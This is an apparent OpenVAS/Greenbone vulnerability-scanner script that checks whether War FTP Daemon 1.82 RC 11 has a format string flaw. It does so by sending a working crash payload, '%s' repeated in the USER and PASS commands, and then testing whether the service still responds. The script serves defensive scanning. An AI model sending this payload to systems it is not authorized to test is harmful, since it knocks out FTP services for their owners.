War FTP Daemon 'USER' and 'PASS' Remote Format String Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802452");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"cvss_base", value:"9.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-09-04 10:51:01 +0530 (Tue, 04 Sep 2012)");
  script_name("War FTP Daemon 'USER' and 'PASS' Remote Format String Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/war_ftpd/detected");

  script_xref(name:"URL", value:"http://1337day.com/exploits/19291");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55338");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/20957/");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2012/Aug/383");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/116122/warftp-format.txt");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to cause a denial of
  service.");

  script_tag(name:"affected", value:"War FTP Daemon 1.82 RC 11.");

  script_tag(name:"insight", value:"The flaw is due to a format string error when the username and
  password are received in a ftp request. This can be exploited to crash the
  application via a ftp request packet containing a specially crafted username
  and password fields.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"War FTP is prone to format string vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "WarFTPd" >!< banner){
  exit(0);
}

soc = open_sock_tcp(ftpPort);
if(!soc){
  exit(0);
}

banner = ftp_recv_line(socket:soc);
if(!banner || "WarFTPd" >!< banner){
  ftp_close(socket:soc);
  exit(0);
}

fsReq = '%s%s%s%s%s%s%s%s%s%s%s%s';

fsUser = string("USER ", fsReq, "\r\n");
fsPass = string("PASS ", fsReq, "\r\n");

send(socket:soc, data:fsUser);
send(socket:soc, data:fsPass);

ftp_close(socket:soc);

sleep(2);

soc1 = open_sock_tcp(ftpPort);
if(!soc1){
  security_message(port:ftpPort);
  exit(0);
}

resp = ftp_recv_line(socket:soc1, length:100);
ftp_close(socket:soc1);
if(!resp || "WarFTPd" >!< resp){
  security_message(port:ftpPort);
  exit(0);
}